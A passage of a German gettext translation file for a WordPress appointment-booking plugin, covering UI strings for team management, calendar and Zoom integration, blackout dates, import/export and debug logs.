languages/admin-app-translations.php:1517 msgid "How many people can attend a group event?" msgstr "Wie viele Personen können an einem Gruppenanlass teilnehmen?" #: languages/admin-app-translations.php:1516 msgid "Limit for the total number of appointments allowed at the same time" msgstr "Limit für die Gesamtzahl der gleichzeitig erlaubten Termine" #: languages/admin-app-translations.php:1514 msgid "Total capacity" msgstr "Gesamtkapazität" #: languages/admin-app-translations.php:1390 #: languages/admin-app-translations.php:1718 msgid "Zoom" msgstr "Zoom" #: languages/admin-app-translations.php:1235 msgid "Team - inactive" msgstr "Team - inaktiv" #: languages/admin-app-translations.php:1232 msgid "Select staff to display" msgstr "Personal zur Anzeige auswählen" #: languages/admin-app-translations.php:1231 msgid "My profile" msgstr "Mein Profil" #: languages/admin-app-translations.php:1229 msgid "Only appointment types that have team enabled are shown" msgstr "Es werden nur Terminarten angezeigt, bei denen die Teamfunktion aktiviert ist" #: languages/admin-app-translations.php:1228 msgid "None of your appointment types are set up to match customers to team members. Be sure to edit your appointment types to enable team." msgstr "Keine deiner Terminarten ist so eingerichtet, dass sie Kunden und Teammitgliedern zugeordnet werden kann. Stelle sicher, dass du bei deinen Terminarten die Teamfunktion aktiviert hast." #: languages/admin-app-translations.php:1227 msgid "You don't have any appointment types set up yet." msgstr "Du hast noch keine Terminarten eingerichtet." #: languages/admin-app-translations.php:1223 msgid "Add new WordPress user" msgstr "Neuen WordPress-Benutzer hinzufügen" #: languages/admin-app-translations.php:1222 msgid "Since this team member cannot log into WordPress, they can't be assigned permissions to edit or manage their own profile. You can add a user to WordPress with this email address to connect this team member to a WordPress user:" msgstr "Da sich dieses Teammitglied nicht bei WordPress anmelden kann, können ihm keine Berechtigungen zum Bearbeiten oder Verwalten seines eigenen Profils zugewiesen werden. Du kannst einen Benutzer mit dieser E-Mail-Adresse zu WordPress hinzufügen, um dieses Teammitglied mit einem WordPress-Benutzer zu verbinden:" #: languages/admin-app-translations.php:1221 msgid "Team member is not a WordPress user" msgstr "Teammitglied ist kein WordPress-Benutzer" #: languages/admin-app-translations.php:1218 msgid "Loading team" msgstr "Team laden" #: languages/admin-app-translations.php:1216 msgid "Cancel email address change" msgstr "Änderung der E-Mail-Adresse abbrechen" #: languages/admin-app-translations.php:1215 msgid "Connect to user" msgstr "Mit Benutzer verbinden" #: languages/admin-app-translations.php:1214 msgid "Do you want to connect this team member to this WordPress user? If connected, the team member will be able to log in and manage their own profile and appointments." msgstr "Möchtest du dieses Teammitglied mit diesem WordPress-Benutzer verbinden? Wenn eine Verbindung besteht, kann sich das Teammitglied anmelden und sein eigenes Profil und seine Termine verwalten." #: languages/admin-app-translations.php:1213 msgid "This email address belongs to a WordPress user account:" msgstr "Diese E-Mail-Adresse gehört zu einem WordPress-Benutzerkonto:" #: languages/admin-app-translations.php:1212 msgid "Link to WordPress user?" msgstr "Verknüpfung zum WordPress-Benutzer?" #: languages/admin-app-translations.php:1208 msgid "There was a problem fetching your calendars. Please contact the site admin." msgstr "Es gab ein Problem beim Abrufen deiner Kalender. Bitte kontaktiere den Administrator der Website." #: languages/admin-app-translations.php:1205 msgid "This team member has not connected their Google account." msgstr "Dieses Teammitglied hat sein Google-Konto nicht verbunden." #: languages/admin-app-translations.php:1202 msgid "This team member has connected their Google account." msgstr "Dieses Teammitglied hat sein Google-Konto verbunden." #: languages/admin-app-translations.php:1198 msgid "Connect Google account" msgstr "Google-Konto verbinden" #: languages/admin-app-translations.php:1191 msgid "Use schedule set for each appointment type" msgstr "Nutze für jede Terminart den hinterlegten Zeitplan" #: languages/admin-app-translations.php:1190 msgid "Select custom working hours. Team will be available for appointments where team schedule overlaps with appointment type schedule" msgstr "Wähle individuelle Arbeitszeiten. Das Team wird für Termine verfügbar sein, bei denen sich der Zeitplan des Teams mit dem Zeitplan der Terminart überschneidet" #: languages/admin-app-translations.php:1189 msgid "Set custom working hours" msgstr "Individuelle Arbeitszeiten festlegen" #: languages/admin-app-translations.php:1188 msgid "Use default working hours" msgstr "Standard-Arbeitszeiten verwenden" #: languages/admin-app-translations.php:1187 msgid "Use custom working hours?" msgstr "Individuelle Arbeitszeiten verwenden?" #: languages/admin-app-translations.php:1183 msgid "Current time is:" msgstr "Die aktuelle Uhrzeit ist:" #: languages/admin-app-translations.php:1182 msgid "Working hours are in timezone:" msgstr "Die Arbeitszeiten sind in der Zeitzone:" #: languages/admin-app-translations.php:1181 msgid "Working Hours" msgstr "Arbeitszeiten" #: languages/admin-app-translations.php:1177 msgid "Can this team member manage their own working hours?" msgstr "Darf dieses Teammitglied seine eigenen Arbeitszeiten verwalten?" #: languages/admin-app-translations.php:1173 msgid "All appointment types" msgstr "Alle Terminarten" #: languages/admin-app-translations.php:1172 msgid "You aren't connected to any appointment types and cannot take appointments. Please contact site admin." msgstr "Du bist mit keiner Terminart verbunden und kannst keine Termine annehmen. Bitte wende dich an den Website-Administrator." #: languages/admin-app-translations.php:1171 msgid "This team member isn't connected to any appointment types and cannot take appointments" msgstr "Dieses Teammitglied ist mit keiner Terminart verbunden und kann keine Termine annehmen" #: languages/admin-app-translations.php:1167 msgid "This person has connected their Google account." msgstr "Diese Person hat ihr Google-Konto verbunden." #: languages/admin-app-translations.php:1166 msgid "Can this team member connect their own Google account?" msgstr "Darf dieses Teammitglied sein eigenes Google-Konto verbinden?" #: languages/admin-app-translations.php:1162 msgid "View and edit blackout dates" msgstr "Sperrdaten anzeigen und bearbeiten" #: languages/admin-app-translations.php:1161 msgid "This team member has blacked out dates." msgstr "Dieses Teammitglied hat gesperrte Daten." #: languages/admin-app-translations.php:1151 msgid "This email address is already assigned to another team member or a WordPress user" msgstr "Diese E-Mail-Adresse ist bereits einem anderen Teammitglied oder einem WordPress-Benutzer zugewiesen" #: languages/admin-app-translations.php:1133 msgid "Looks like there aren't any inactive team members" msgstr "Wie es aussieht, gibt es keine inaktiven Teammitglieder" #: languages/admin-app-translations.php:1131 msgid "No inactive team members" msgstr "Keine inaktiven Teammitglieder" #: languages/admin-app-translations.php:1130 msgid "No team members added yet" msgstr "Noch keine Teammitglieder hinzugefügt" #: languages/admin-app-translations.php:1129 msgid "Editing team member" msgstr "Teammitglied bearbeiten" #: languages/admin-app-translations.php:1127 msgid "This email address is already assigned to another team member" msgstr "Diese E-Mail-Adresse ist bereits einem anderen Teammitglied zugewiesen" #: languages/admin-app-translations.php:1126 msgid "Email address not available" msgstr "E-Mail-Adresse nicht verfügbar" #: languages/admin-app-translations.php:1113 msgid "Activate team member" msgstr "Teammitglied aktivieren" #: languages/admin-app-translations.php:1112 msgid "This team member is marked inactive. Would you like to reactivate their profile?" msgstr "Dieses Teammitglied ist als inaktiv markiert. Möchtest du sein Profil reaktivieren?" #: languages/admin-app-translations.php:1106 msgid "Restore team member" msgstr "Teammitglied wiederherstellen" #: languages/admin-app-translations.php:1105 msgid "This team member has been deleted. Would you like to restore their profile?" msgstr "Dieses Teammitglied wurde gelöscht. Möchtest du sein Profil wiederherstellen?" #: languages/admin-app-translations.php:1100 #: languages/admin-app-translations.php:1107 #: languages/admin-app-translations.php:1114 msgid "No thanks" msgstr "Nein, danke" #: languages/admin-app-translations.php:1099 msgid "Edit team member" msgstr "Teammitglied bearbeiten" #: languages/admin-app-translations.php:1098 msgid "Would you like to edit their profile?" msgstr "Möchtest du das Profil bearbeiten?" #: languages/admin-app-translations.php:1097 #: languages/admin-app-translations.php:1104 #: languages/admin-app-translations.php:1111 msgid "This team member already exists" msgstr "Dieses Teammitglied ist bereits vorhanden" #: languages/admin-app-translations.php:1091 msgid "Edit User Profile" msgstr "Benutzerprofil bearbeiten" #: languages/admin-app-translations.php:1089 msgid "WordPress User" msgstr "WordPress-Benutzer" #: languages/admin-app-translations.php:780 #: languages/admin-app-translations.php:984 #: languages/admin-app-translations.php:1024 #: languages/admin-app-translations.php:1086 #: languages/admin-app-translations.php:1088 #: languages/admin-app-translations.php:1375 #: languages/admin-app-translations.php:1612 msgid "Keep editing" msgstr "Weiter bearbeiten" #: languages/admin-app-translations.php:1087 msgid "Please enter the required fields and save if you'd like to keep this team member. Otherwise, you can delete this team member." msgstr "Bitte gib die erforderlichen Felder ein und speichere, wenn du dieses Teammitglied behalten möchtest. Andernfalls kannst du dieses Teammitglied löschen." #: languages/admin-app-translations.php:1066 msgid "No team members are set to take appointments of this type. Please either set required to 'None' or select at least one team member" msgstr "Es sind keine Teammitglieder eingestellt, die Termine dieses Typs annehmen. Bitte setze entweder auf „Keine“ oder wählen Sie mindestens ein Teammitglied aus" #: languages/admin-app-translations.php:1065 msgid "Team members who accept appointments of this type" msgstr "Teammitglieder, die Termine dieser Art annehmen" #: languages/admin-app-translations.php:1064 msgid "No team members are needed for this appointment type" msgstr "Für diese Terminart werden keine Teammitglieder benötigt" #: languages/admin-app-translations.php:1063 msgid "None:" msgstr "Keine:" #: languages/admin-app-translations.php:1062 msgid "Match each customer with any one of the selected team members" msgstr "Ordne jeden Kunden einem der ausgewählten Teammitglieder zu" #: languages/admin-app-translations.php:1061 #: languages/admin-app-translations.php:1300 msgid "Any:" msgstr "Beliebige:" #: languages/admin-app-translations.php:1058 msgid "All of the selected team members are needed for an appointment" msgstr "Alle ausgewählten Teammitglieder werden für einen Termin benötigt" #: languages/admin-app-translations.php:1057 msgid "All:" msgstr "Alle:" #: languages/admin-app-translations.php:1056 msgid "Should each customer booking this appointment type be matched with a team member?" msgstr "Soll jeder Kunde, der diese Terminart bucht, einem Teammitglied zugeordnet werden?" #: languages/admin-app-translations.php:1055 msgid "Does this appointment type require a team member?" msgstr "Ist für diese Terminart ein Teammitglied erforderlich?" #: languages/admin-app-translations.php:1051 #: templates/customer/upcoming-appointments.php:135 msgid "with" msgstr "mit" #: languages/admin-app-translations.php:1046 msgid "Changes saved" msgstr "Änderungen gespeichert" #: languages/admin-app-translations.php:1045 msgid "Create team member" msgstr "Teammitglied anlegen" #: languages/admin-app-translations.php:1044 msgid "Add new team member" msgstr "Neues Teammitglied hinzufügen" #: languages/admin-app-translations.php:1041 msgid "Manage team" msgstr "Team verwalten" #: includes/class-wp-admin.php:288 includes/class-wp-admin.php:289 #: languages/admin-app-translations.php:1040 #: languages/admin-app-translations.php:1483 msgid "Team" msgstr "Team" #: languages/admin-app-translations.php:862 msgid "Team member phone number" msgstr "Telefonnummer des Teammitglieds" #: languages/admin-app-translations.php:738 msgid "Validate" msgstr "Validieren" #: languages/admin-app-translations.php:737 msgid "Remove" msgstr "Entfernen" #: languages/admin-app-translations.php:675 msgid "How often should we check Google Calendar for new events?" msgstr "Wie oft sollen wir den Google Kalender auf neue Einträge überprüfen?" #: languages/admin-app-translations.php:674 msgid "Refresh Google Calendars" msgstr "Google Kalender aktualisieren" #: languages/admin-app-translations.php:671 msgid "Enable adding Google Meet links to my calendar events" msgstr "Aktiviere das Hinzufügen von Google-Meet-Links zu meinen Kalendereinträgen" #: languages/admin-app-translations.php:670 msgid "Google Meet Web Meetings" msgstr "Google-Meet-Web-Meetings" #: languages/admin-app-translations.php:669 msgid "Next, edit your appointment types to check your Google Calendar for appointment conflicts or to add newly booked appointments to your Google Calendar" msgstr "Als Nächstes bearbeite deine Terminarten, um deinen Google Kalender auf Terminkonflikte zu überprüfen oder um neu gebuchte Termine in deinen Google Kalender aufzunehmen." #: languages/admin-app-translations.php:666 msgid "Calendar Sync" msgstr "Kalender-Synchronisierung" #: languages/admin-app-translations.php:665 msgid "Getting your calendars" msgstr "Dein Kalender anfordern" #: languages/admin-app-translations.php:654 msgid "Disconnecting your Google Account" msgstr "Deine Google-Kontoverbindung trennen" #: languages/admin-app-translations.php:651 msgid "Google" msgstr "Google" #: languages/admin-app-translations.php:534 msgid "Beta features" msgstr "Beta-Funktionen" #: languages/admin-app-translations.php:525 msgid "This will slow down your site, so only disable if you are having trouble and are instructed to do so by support." msgstr "Dadurch wird deine Website verlangsamt. Deaktiviere diese Funktion daher nur, wenn du Probleme hast und vom Support dazu aufgefordert wirst." #: languages/admin-app-translations.php:524 msgid "Disable availability caching" msgstr "Verfügbarkeits-Caching deaktivieren" #: languages/admin-app-translations.php:461 msgid "Myself" msgstr "Ich selbst" #: languages/admin-app-translations.php:460 msgid "Business-wide" msgstr "Geschäftsübergreifend" #: languages/admin-app-translations.php:457 msgid "Select who you are setting blackout dates for" msgstr "Wählen aus, für wen du Sperrdaten festlegst" #: languages/admin-app-translations.php:456 msgid "Select a year" msgstr "Jahr auswählen" #: languages/admin-app-translations.php:455 msgid "Go to previous month" msgstr "Zum vorherigen Monat gehen" #: languages/admin-app-translations.php:454 msgid "Go to next month" msgstr "Zum nächsten Monat gehen" #: languages/admin-app-translations.php:453 msgid "Saving blackout dates" msgstr "Sperrdaten speichern" #: languages/admin-app-translations.php:452 msgid "Updated blackout dates saved" msgstr "Aktualisierte Sperrdaten gespeichert" #: languages/admin-app-translations.php:451 msgid "Selected Dates" msgstr "Ausgewählte Daten" #: languages/admin-app-translations.php:450 msgid "Loading team dates" msgstr "Teamdaten laden" #: languages/admin-app-translations.php:449 msgid "Use the calendar to select blackout days" msgstr "Verwende den Kalender, um Sperrtage auszuwählen" #: languages/admin-app-translations.php:448 msgid "No blackout dates selected yet" msgstr "Noch keine Sperrdaten ausgewählt" #: languages/admin-app-translations.php:428 msgid "Open Navigation" msgstr "Navigation öffnen" #: languages/admin-app-translations.php:426 msgid "Beta" msgstr "Beta" #: languages/admin-app-translations.php:199 msgid "Dismiss this notice" msgstr "Diesen Hinweis ausblenden" #: languages/admin-app-translations.php:180 msgid "Client Secret is required for Zoom authorization" msgstr "Für die Autorisierung von Zoom ist ein Client-Schlüssel erforderlich" #: languages/admin-app-translations.php:179 msgid "Client Id is required for Zoom authorization" msgstr "Für die Autorisierung von Zoom ist eine Client-ID erforderlich" #: languages/admin-app-translations.php:178 msgid "Try disconnecting and reconnecting your Zoom account." msgstr "Versuche die Verbindung zu deinem Zoom-Konto zu trennen und wieder herzustellen." #: languages/admin-app-translations.php:177 msgid "Unable to get your Zoom settings" msgstr "Deine Zoom-Einstellungen können nicht abgerufen werden" #: languages/admin-app-translations.php:176 msgid "Success! Your Zoom account is connected." msgstr "Erfolgreich! Dein Zoom-Konto ist verbunden." #: languages/admin-app-translations.php:175 msgid "Want to sync with Zoom?" msgstr "Möchtest du mit Zoom synchronisieren?" #: languages/admin-app-translations.php:158 msgid "Which team members can take appointments of this type?" msgstr "Welche Teammitglieder können Termine dieser Art annehmen?" #: languages/admin-app-translations.php:157 msgid "Team Members" msgstr "Teammitglieder" #: languages/admin-app-translations.php:145 msgid "Manage your Web Meetings settings for this appointment type" msgstr "Verwalte deine Web-Meeting-Einstellungen für diese Terminart" #: languages/admin-app-translations.php:144 #: languages/admin-app-translations.php:1122 #: languages/admin-app-translations.php:1239 msgid "Web Meetings" msgstr "Web-Meetings" #: languages/admin-app-translations.php:143 msgid "When booking appointments, check these calendars for times to exclude from available times" msgstr "Prüfe beim Buchen von Terminen in diesen Kalendern, welche Zeiten du von den verfügbaren Zeiten ausschließen musst" #: languages/admin-app-translations.php:129 msgid "When appointments are booked, create events on this Google Calendar" msgstr "Erstelle Einträge in diesem Google Kalender wenn Termine gebucht werden" #: languages/admin-app-translations.php:116 msgid "How many customers can book at the same time?" msgstr "Wie viele Kunden können zur gleichen Zeit buchen?" #: includes/class-shortcodes.php:805 languages/admin-app-translations.php:78 msgid "It looks like you're not allowed to see this screen. Please check with your site administrator if you think this message is an error." msgstr "Es sieht so aus, als ob dir die Berechtigung für diese Ansicht fehlt. Wende dich bitte an deinen Website-Administrator, wenn du der Meinung bist, dass dies nicht korrekt ist." #: languages/admin-app-translations.php:77 msgid "What the fox?" msgstr "Was zum Kuckuck!" #: includes/class-availability-model.php:720 includes/class-capabilities.php:69 #: languages/booking-app-new-translations.php:207 msgid "Team Member" msgstr "Teammitglied" #: includes/class-wp-admin.php:338 msgid "Permission Denied" msgstr "Zugriff verweigert" #: includes/class-wp-admin.php:338 msgid "Please ask your administrator to link your account to an active team member." msgstr "Bitte deinen Administrator, dein Konto mit einem aktiven Teammitglied zu verknüpfen." #: languages/admin-app-translations.php:625 msgid "Anonymize names, emails, and all other customer information for those who have booked appointments. Helpful for sharing debugging data with support." msgstr "Namen, E-Mail-Adressen und alle anderen Kundeninformationen gebuchter Termine anonymisieren. Hilfreich für den Austausch von Daten zur Fehlersuche mit dem Support." #: languages/admin-app-translations.php:624 msgid "Anonymize appointment data" msgstr "Termindaten anonymisieren" #: languages/admin-app-translations.php:1670 msgid "Label is already taken" msgstr "Label bereits vergeben" #: languages/admin-app-translations.php:1666 msgid "Open menu for this field" msgstr "Menü für dieses Feld öffnen" #: languages/admin-app-translations.php:536 msgid "Warning: Beta releases can be unstable. Please only enable this if instructed by support." msgstr "Achtung: Beta-Versionen können instabil sein. Bitte aktiviere diese nur auf Anweisung des Supports." #: languages/admin-app-translations.php:27 msgid "Edit as Customer" msgstr "Als Kunde bearbeiten" #: languages/admin-app-translations.php:2160 msgid "Load debug log" msgstr "Debug-Log laden" #: languages/admin-app-translations.php:253 msgid "Unlock Pro Features" msgstr "Pro-Funktionen freischalten" #: languages/admin-app-translations.php:248 msgid "Live Customer Support via Zoom" msgstr "Live-Kundensupport via Zoom" #: languages/admin-app-translations.php:246 msgid "Conversion and Goal Tracking" msgstr "Conversion- und Ziel-Tracking" #: languages/admin-app-translations.php:244 msgid "Accept Payments via PayPal and Stripe" msgstr "Zahlungen über PayPal und Stripe akzeptieren" #: languages/admin-app-translations.php:237 msgid "Unlock Plus features" msgstr "Plus-Funktionen freischalten" #: languages/admin-app-translations.php:231 msgid "Multiple Bookings in the Same Time Slot" msgstr "Mehrere Buchungen im selben Zeitfenster" #: languages/admin-app-translations.php:230 msgid "Mailchimp Integration" msgstr "Mailchimp-Integration" #: languages/admin-app-translations.php:223 #: languages/admin-app-translations.php:238 #: languages/admin-app-translations.php:254 msgid "View All Editions" msgstr "Alle Editionen anzeigen" #: languages/admin-app-translations.php:222 msgid "Unlock Business Features" msgstr "Business-Funktionen freischalten" #: languages/admin-app-translations.php:217 msgid "Custom Booking Views" msgstr "Individuelle Buchungsansichten" #: languages/admin-app-translations.php:216 msgid "Manage Multiple Locations" msgstr "Mehrere Standorte verwalten" #: includes/class-cli.php:73 includes/class-support-status-api.php:549 msgid "Data successfully imported!" msgstr "Daten erfolgreich importiert!" #: includes/class-cli.php:58 includes/class-cli.php:62 #: includes/class-support-status-api.php:534 #: includes/class-support-status-api.php:538 #: includes/class-support-status-api.php:587 #: includes/class-support-status.php:409 includes/class-support-status.php:413 msgid "Invalid data format." msgstr "Ungültiges Datenformat." #: languages/admin-app-translations.php:896 msgid "Reset Filters" msgstr "Filter zurücksetzen" #: languages/admin-app-translations.php:893 msgid "Notification Type" msgstr "Benachrichtigungstyp" #: languages/admin-app-translations.php:890 msgid "No notifications match your filter selections. Adjust the filters or reset them." msgstr "Deiner Filterauswahl entsprechen keine Benachrichtigungen. Passe die Filter an oder setze sie zurück." #: languages/admin-app-translations.php:889 msgid "No matching notifications" msgstr "Keine passenden Benachrichtigungen" #: languages/admin-app-translations.php:888 msgid "Notification Filters" msgstr "Benachrichtigungsfilter" #: languages/admin-app-translations.php:646 msgid "Click here if the page is not automatically refreshed." msgstr "Klicken, wenn Seite nicht automatisch aktualisiert wird." #: languages/admin-app-translations.php:645 msgid "Oops! Something went wrong while importing your data. The server responded with the following errors:" msgstr "Hoppla! Beim Importieren deiner Daten ist etwas schief gelaufen. Der Server antwortete mit folgenden Fehlern:" #: languages/admin-app-translations.php:644 msgid "Invalid import code. Check if you have any issues on the SSA install you're trying to import from." msgstr "Ungültiger Importcode. Überprüfe, ob Probleme mit der SSA-Installation bestehen, aus der du importieren willst." #: languages/admin-app-translations.php:643 msgid "Paste below the code you copied on another SSA install to import your data for things like plugin settings, appointment types, and scheduled appointments." msgstr "Füge unten den Code ein, den du auf einer anderen SSA-Installation kopiert hast, um deine Daten für Dinge wie Plugin-Einstellungen, Terminarten und geplante Termine zu importieren." #: languages/admin-app-translations.php:642 msgid "Import from another SSA install" msgstr "Import aus einer anderen SSA-Installation" #: includes/class-cli.php:52 languages/admin-app-translations.php:641 msgid "Importing..." msgstr "Wird importiert …" #: languages/admin-app-translations.php:636 #: languages/admin-app-translations.php:2150 msgid "Export code copied to your clipboard." msgstr "Exportiere den in deiner Zwischenablage kopierten Code." #: languages/admin-app-translations.php:635 msgid "Copy to clipboard" msgstr "In die Zwischenablage kopieren" #: languages/admin-app-translations.php:634 msgid "Generating..." msgstr "Generierung läuft ..." #: languages/admin-app-translations.php:633 msgid "Generate Code" msgstr "Code generieren" #: languages/admin-app-translations.php:620 msgid "Export all of your existing appointments. Requires settings and appointment types export." msgstr "Exportiere alle bestehenden Termine. Dies erfordert den Export der Einstellungen und Terminarten." #: languages/admin-app-translations.php:619 msgid "Export All Appointments" msgstr "Alle Termine exportieren" #: languages/admin-app-translations.php:615 msgid "Export your appointment types. Requires settings export." msgstr "Exportiere deine Terminarten. Dies erfordert den Export der Einstellungen." #: languages/admin-app-translations.php:614 msgid "Export All Appointment Types" msgstr "Alle Terminarten exportieren" #: languages/admin-app-translations.php:610 msgid "Export all SSA settings, including extensions." msgstr "Exportiere alle SSA-Einstellungen, einschließlich Erweiterungen." #: languages/admin-app-translations.php:609 msgid "Export Settings" msgstr "Einstellungen exportieren" #: languages/admin-app-translations.php:603 #: languages/admin-app-translations.php:640 msgid "Import" msgstr "Importieren" #: languages/admin-app-translations.php:599 msgid "Import / Export" msgstr "Import/Export" #: languages/admin-app-translations.php:11 #: languages/admin-app-translations.php:1927 #: languages/admin-app-translations.php:1936 #: languages/admin-app-translations.php:2202 msgid "Abandoned" msgstr "Abgesagt" #: includes/class-support-status-api.php:329 msgid "Debug Log file not found or could not be removed." msgstr "Debug-Logdatei wurde nicht gefunden oder konnte nicht entfernt werden." #: includes/class-support-status-api.php:292 msgid "Debug Log file not found." msgstr "Debug-Logdatei nicht gefunden." #: includes/class-support-status-api.php:290 #: includes/class-support-status-api.php:327 msgid "Debug Log file successfully cleared." msgstr "Debug-Logdatei erfolgreich gelöscht." #: languages/admin-app-translations.php:2171 msgid "Loading WordPress debug log contents..." msgstr "Inhalt des WordPress-Debug-Logs laden ..." #: languages/admin-app-translations.php:2170 msgid "Loading debug log contents..." msgstr "Inhalt des Debug-Logs laden ..." #: languages/admin-app-translations.php:2169 msgid "We will display here the debug log contents as soon as the system starts to log information on the file." msgstr "Den Inhalt des Debug-Logs werden wir hier anzeigen, sobald das System beginnt, Informationen in der Datei zu protokollieren." #: languages/admin-app-translations.php:2168 msgid "Your debug log file is empty" msgstr "Deine Debug-Logdatei ist leer" #: languages/admin-app-translations.php:2167 msgid "Clear Log File" msgstr "Logdatei löschen" #: languages/admin-app-translations.php:2166 msgid "Download Log File" msgstr "Logdatei herunterladen" #: languages/admin-app-translations.php:2165 msgid "Refresh Debug Log" msgstr "Debug-Log aktualisieren" #: languages/admin-app-translations.php:2164 msgid "Debug Log Options" msgstr "Debug-Log-Optionen" #: languages/admin-app-translations.php:2163 msgid "Enable WordPress Debug Log" msgstr "WordPress-Debug-Log aktivieren" #: languages/admin-app-translations.php:2162 msgid "Enable Debug Log" msgstr "Debug-Log aktivieren" #: languages/admin-app-translations.php:2161 msgid "WordPress Debug Logs" msgstr "WordPress-Debug-Logs" #: languages/admin-app-translations.php:2159 msgid "Debug Logs" msgstr "Debug-Logs" #: languages/admin-app-translations.php:2158 msgid "Debugger" msgstr "Debugger" #: languages/admin-app-translations.php:1896 msgid "Booking page ID" msgstr "ID Buchungsseite" #: languages/admin-app-translations.php:1895 msgid "Booking page title" msgstr "Titel Buchungsseite" #: languages/admin-app-translations.php:1894 msgid "Booking page URL" msgstr "URL Buchungsseite" #: languages/admin-app-translations.php:935 msgid "The page ID where the appointment booking happened." msgstr "Die ID der Seite, auf der die Terminbuchung erfolgte." #: languages/admin-app-translations.php:934 msgid "The page title where the appointment booking happened." msgstr "Der Titel der Seite, auf der die Terminbuchung erfolgte." #: languages/admin-app-translations.php:933 msgid "The page URL where the appointment booking happened." msgstr "Die URL der Seite, auf der die Terminbuchung erfolgte." #: languages/admin-app-translations.php:1994 msgid "Deleting group appointment" msgstr "Gruppentermin löschen" #: languages/admin-app-translations.php:1993 msgid "The following attendees for this group will be deleted:" msgstr "Die folgenden Teilnehmer für diese Gruppe werden gelöscht:" #: languages/admin-app-translations.php:1992 msgid "The appointment attendees will not receive any notification that the appointment was deleted. If you would like the attendees to receive a notification of a canceled appointment, please cancel the group appointment before deleting it." msgstr "Die Teilnehmer des Termins erhalten keine Benachrichtigung, dass der Termin gelöscht wurde. Wenn du möchtest, dass die Teilnehmer eine Benachrichtigung über einen abgesagten Termin erhalten, storniere bitte den Gruppentermin, bevor du ihn löschst." #: languages/admin-app-translations.php:1991 msgid "This cannot be undone. All information associated with this group appointment will be permanently removed." msgstr "Dies kann nicht rückgängig gemacht werden. Alle Informationen im Zusammenhang mit diesem Gruppentermin werden endgültig gelöscht." #: languages/admin-app-translations.php:1990 msgid "Delete All" msgstr "Alle löschen" #: languages/admin-app-translations.php:1988 msgid "Delete this group appointment" msgstr "Diesen Gruppentermin löschen" #: languages/admin-app-translations.php:1987 msgid "Cancel All" msgstr "Alle abbrechen" #: languages/admin-app-translations.php:1986 #: languages/admin-app-translations.php:1989 msgid "Keep All" msgstr "Alle behalten" #: languages/admin-app-translations.php:1985 msgid "The following attendees for this group will be canceled:" msgstr "Die folgenden Teilnehmer für diese Gruppe erhalten eine Absage:" #: languages/admin-app-translations.php:1984 msgid "Cancel this group appointment?" msgstr "Diesen Gruppentermin absagen?" #: languages/admin-app-translations.php:1983 msgid "View attendee details" msgstr "Teilnehmerdetails anzeigen" #: languages/admin-app-translations.php:1966 msgid "End Date" msgstr "Enddatum" #: languages/admin-app-translations.php:1965 msgid "Start Date" msgstr "Anfangsdatum" #: languages/admin-app-translations.php:1833 msgid "Date Range" msgstr "Datumsbereich" #: includes/divi/includes/modules/SSADiviBookingModule/SSADiviBookingModule.php:124 msgid "Colors" msgstr "Farben" #: includes/divi/includes/modules/SSADiviBookingModule/SSADiviBookingModule.php:114 msgid "Booking Type" msgstr "Buchungstyp" #: includes/divi/includes/modules/SSADiviBookingModule/SSADiviBookingModule.php:78 msgid "Padding Unit" msgstr "Innenabstand-Einheit" #: includes/divi/includes/modules/SSADiviBookingModule/SSADiviBookingModule.php:16 msgid "Appointment Bookings" msgstr "Terminbuchungen" #: includes/divi/includes/modules/SSADiviBookingModule/SSADiviBookingModule.php:15 msgid "Appointment Booking" msgstr "Terminbuchung" #: includes/class-capabilities.php:140 msgid "Manage Staff Members" msgstr "Mitarbeiter verwalten" #: includes/beaver-builder/modules/booking/booking.php:77 #: includes/divi/includes/modules/SSADiviBookingModule/SSADiviBookingModule.php:55 #: includes/divi/includes/modules/SSADiviBookingModule/SSADiviBookingModule.php:121 #: includes/elementor/widgets/booking.php:508 msgid "Font Family" msgstr "Schriftfamilie" #: includes/beaver-builder/modules/booking/booking.php:71 #: includes/divi/includes/modules/SSADiviBookingModule/SSADiviBookingModule.php:48 #: includes/elementor/widgets/booking.php:499 msgid "Background Color" msgstr "Hintergrundfarbe" #: includes/beaver-builder/modules/booking/booking.php:65 #: includes/divi/includes/modules/SSADiviBookingModule/SSADiviBookingModule.php:41 #: includes/elementor/widgets/booking.php:490 msgid "Accent Color" msgstr "Akzentfarbe" #: languages/admin-app-translations.php:1080 msgid "Delete this team member?" msgstr "Dieses Teammitglied löschen?" #: languages/admin-app-translations.php:1981 msgid "people" msgstr "Personen" #: languages/admin-app-translations.php:1970 msgid "Reset filters" msgstr "Filter zurücksetzen" #: languages/admin-app-translations.php:1969 msgid "Appointment Status" msgstr "Terminstatus" #: includes/elementor/widgets/booking.php:165 msgid "Appointment types" msgstr "Terminarten" #: languages/admin-app-translations.php:1961 msgid "Display upcoming or past appointments" msgstr "Kommende oder vergangene Termine anzeigen" #: languages/admin-app-translations.php:1959 msgid "Export visible appointments" msgstr "Sichtbare Termine exportieren" #: languages/admin-app-translations.php:602 #: languages/admin-app-translations.php:1958 msgid "Export" msgstr "Exportieren" #: languages/admin-app-translations.php:1957 msgid "Close filters" msgstr "Filter schließen" #: languages/admin-app-translations.php:887 #: languages/admin-app-translations.php:1956 msgid "Filter" msgstr "Filter" #: languages/admin-app-translations.php:1925 #: languages/admin-app-translations.php:1934 #: languages/admin-app-translations.php:2200 msgid "Pending Payment" msgstr "Ausstehende Zahlung" #: languages/admin-app-translations.php:1924 #: languages/admin-app-translations.php:1933 #: languages/admin-app-translations.php:2199 msgid "Pending Form Submission" msgstr "Ausstehende Formularübermittlung" #: languages/admin-app-translations.php:1841 msgid "There are no appointments that match" msgstr "Es gibt keine übereinstimmenden Termine" #: languages/admin-app-translations.php:1553 msgid "Group" msgstr "Gruppe" #: languages/admin-app-translations.php:1552 msgid "Individual" msgstr "Einzelperson" #: languages/admin-app-translations.php:1524 msgid "Should multiple bookings at the same time be treated as a single group appointment or separate individual appointments?" msgstr "Sollen mehrere Buchungen gleichzeitig als ein einziger Gruppentermin oder separate Einzeltermine behandelt werden?" #: languages/admin-app-translations.php:1515 msgid "How many people can book at the same time?" msgstr "Wie viele Personen können zur gleichen Zeit buchen?" #: languages/admin-app-translations.php:115 #: languages/admin-app-translations.php:1513 #: languages/admin-app-translations.php:1536 #: languages/admin-app-translations.php:1541 #: languages/admin-app-translations.php:1546 msgid "Capacity" msgstr "Kapazität" #: languages/admin-app-translations.php:1152 msgid "Enter an email address to get started" msgstr "Gib zum Start eine E-Mail-Adresse ein" #: languages/admin-app-translations.php:1150 msgid "Valid email address is required" msgstr "Eine gültige E-Mail-Adresse ist erforderlich" #: languages/admin-app-translations.php:1145 msgid "Name that will be 